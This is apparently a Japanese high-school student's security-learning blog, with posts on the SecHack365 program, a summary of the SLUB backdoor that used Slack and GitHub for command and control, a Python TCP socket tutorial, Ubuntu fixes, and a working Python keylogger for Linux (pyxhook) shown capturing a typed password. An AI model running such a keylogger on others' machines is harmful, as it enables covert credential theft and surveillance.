高校生ハッカーの備忘録

普通の高校生が独学でセキュリティやCTFについて学んでいく備忘録。

2019年度SecHack365の募集が始まった話。

ついに、待ちに待ったSecHack365の募集が始まりました!!!

去年落選して悔しい思いをしたので、今年は絶対に受かってやろうと思います...!

 

SecHack365とは?

https://sechack365.nict.go.jp/

 NICTが主催している25歳以下を対象とした一年周期の長期ハッカソン。一年かけてセキュリティに関するソフトウェアの開発や研究を行い、最後の成果発表会で発表するようです。二ヶ月に一度日本各地でオフラインの集合イベントがあります。

 

個人的にSecHack365のここがアツい
  • 学生は費用がタダ
  • NONSTOPと呼ばれるNICTが持つデータベースにアクセスできる
  • 困ったらプロのトレーナーの方々に相談できる
  • 僕のような普通の高校生にとってはセキュリティの勉強をする絶好のチャンス

 

僕のような普通の高校生は学校でセキュリティの勉強をすることができないので、ネットや本を使って独学で進めるしかありません。そんな僕にとってSecHack365のようなイベントは理解を深める絶好のチャンスなんです。

絶対受かって見せます。

このブログに合格報告と全国各地での体験を書けるように必死で課題に取り組みます。

 

〆切は4/19までです。

 

 

がんばるぞ....

SlackやGithubを使ったバックドアの話。

先日Security-Nextで興味深い記事を見つけたので、ブログに残しておこうと思う。

 

http://www.security-next.com/103414

https://blog.trendmicro.co.jp/archives/20605

 

 

SLUBとは?

 

今回発見されたのは、「SLUB」と呼ばれるバックドア。政治に関するウェブサイトを用いて、水飲み場型攻撃として展開されていた。

 

今回の目玉は、このSLUBの構造にある。

SLUBはC&Cサーバ間の通信にSlackやGitHub、file.ioといった一般的なツールを使用していた。具体的には、

  • コマンドの追加・送信→GitHub
  • コマンドの実行結果の取得→Slack
  • ファイルの送受信→file.io

このように3つのサービスを役割ごとに使い分けていた。

 

 SLUBのここがスゴい

 

Slackやfile.ioなどのサービスはそれぞれの企業が通信内容を管理しているため、隠蔽しやすい。これがこのマルウェアのミソである。

またGitHubを使うことで、コマンド送信の際ターゲットがオフラインでも起動時に同期され作業の効率がよいとも考えられる。

コミュニケーションツールを使った通信手法は以前から指摘されていたようだが、Slackが悪用されたのは初めてのケース。SLUBに使われたサービスのアカウントはほとんど使用される直前に作成されていた。

 

思ったこと

 

朝通学中の電車の中でこの記事を読んで、SLUBを作成したクラッカーの発想力に感心した。一般ツールの通信の安全性を逆手にとったこの攻撃はとても大胆で面白い。

まさにこれからのマルウェアのトレンドになるのでは...?と思った。

これからもっと多様化し続けるであろうバックドアマルウェア。なにか画期的なバックドア検知ツールを作ることはできないかな...

今度SLUBのレプリカのようなものを、Pythonで書いてみよう。

 

 

 

 

 

サル(高校生)でもわかるPythonでのsocket通信。


※この記事は
「サイバーセキュリティプログラミング〜pythonで学ぶハッカーの思考〜」
という書籍を参考にして書いています。

ずっと欲しかった本を手に入れられて、早速勉強をはじめました。
とてもわかり易く書かれているので、ある程度Pythonを触ったことがある人なら楽に読み進められると思います。


今回のテーマ
pythonTCPサーバーを建ててTCPクライアントとsocket通信する

ますはTCPクライアント。こっちは特に問題なく理解できた

#tcpclient.py
import socket

target_host = "localhost"
target_port = 9999

#ソケットオブジェクトを作成
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#接続
client.connect((target_host,target_port))
#送信
client.send("hogehoge")
#受信
response = client.recv(4096)
#受信したデータを表示
print response

下から3行目のclient.recv()の数字は受信するデータ量を指定します。
ハードウェアやネットワークのシステム上、2の累乗にすべきだそうです。


続いてTCPサーバー。threadingについてほとんど無知だったので理解に時間がかかった。

#tcpserver.py
import socket
import threading

ip_addr = "localhost"
port = 9999

svr = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
svr.bind((ip_addr,port))
#接続キューの最大数を指定
svr.listen(2)

print("Listening on %s:%d" % (ip_addr,port))

def handle_client(client_socket):
#クライアントからデータを受信
    req = client_socket.recv(1024)
    print("Received:" + req)
#データの返送
    client_socket.send("Hello World")
#closeを忘れずに!
    client_socket.close()

while True:
    client,addr = svr.accept()
    print("connection from %s:%d" %  (addr[0] , addr[1]))

#Threadの定義・起動
    client_handler = threading.Thread(target = handle_client, args=(client,))
    client_handler.start()

下から五行目socket.accept()は接続を受け付けるソケットオブジェクト。
戻り値が(conn,address)のペアなので、2つの変数に格納する必要がある。
address(addr)は、接続先のアドレス、conn(client)は、接続を通じてデータを送受信するためのソケットオブジェクトを示す。
また、connのデータは関数client_handlerに引数として渡す。(下から二行目)

実行
先にtcpserver.pyを実行した後、tcpclient.pyでいざ通信!

tcpserver.py

$ python tcpserver.py 
Listening on localhost:9999
connection from 127.0.0.1:50700
Received:hogehoge

tcpclient.py

$ python tcpclient.py 
Hello World

問題なく通信できました!
とてもシンプルなコードですが、これをベースに発展させていくようなのでしっかりと理解できてよかったです。
試験勉強しなきゃ...

Ubuntu18.04LTSで正常にシャットダウンできないときの対処法

症状
Ubuntu 18.04LTSでシャットダウンしようとすると再起動になってしまうことがある。
shutdown -h now でも再起動されてしまう

対処法
grubファイルをいじればよい。
適当なテキストエディタで/etc/default/grubを開く

$ sudo vim /etc/default/grub

GRUB_CMDLINE_LINUXの部分を以下のように書き換え

GRUB_CMDLINE_LINUX="reboot=pci"

変更したら保存して、再起動すれば正常にシャットダウンできるようになる。

pythonでlinux版キーロガーを作ってみた。

本格的にpythonを勉強し始めて約1ヶ月。
少しずつ慣れてきた気がするので、前から作ってみたかったキーロガーを作ってみる。
思ったよりずいぶん簡単にできた。
  

使うのはpyxhookモジュール。Windows用のキーロガーが作れるpyhookのLinux版。
ちなみにこのモジュールはpython3では動作しないので注意。

モジュールのインストール

sudo pip install pyxhook  

ソースコード[keylogger.py]

import pyxhook
import os

#logファイルのパス
log_file = '/path/.../xxx.txt'

#logファイル新規作成
log = open(log_file,'w')
log.close()

def keyevent(event):
    #logファイルを追記型で開く
    log = open(log_file,'a')
    log.write(event.Key)
    log.write('\n')

    #?キーが押されたら終了する
    if event.Ascii == 63:
        log.close()
        hook.cancel()

#HookManagerを定義
hook = pyxhook.HookManager()
#キーボードが入力されたらkeyevent関数を呼び出す
hook.KeyDown = keyevent
#HookKeyloadをセット
hook.HookKeyboard()
hook.start()

tips
・ログが横に並ぶと見づらくなるのでlog.write('\n)で一文字ごとに改行
・Asciiコードを使って特定のキーが押されたときに処理を終了する
 (logファイルをcloseするのを忘れずに!) ASCIIコード表

実行してみる。

$ python keylogger.py
password
abcdefg?

logファイル[log.txt]

p
a
s
s
w
o
r
d
Return
a
b
c
d
e
f
g
Shift_L
question

今回はこのへんで。

次回はscpを使ってsshサーバーにlogファイルを送ってみたりしようと思います。

ubuntu(16.04)でアプリケーションの切り替え(Alt+Tab)が二重に表示される時の対処法

Ubuntuで新しいユーザーを作った際に、アプリケーションの切り替えの表示が二重になる不具合に遭遇したので、対処法を書いておきます。 f:id:GuerNicq:20190104011146j:plain

対処法

 動作環境:ubuntu 16.04 LTS

sudo apt-get install compizconfig-settings-manager

compizconfig-settings-manager(ccsm)をインストールする

インストールが完了したらccsmを起動

ウィンドウ・マネジメント>アプリケーション・スウィッチャーのチェックを外す

f:id:GuerNicq:20190104013305j:plainでは。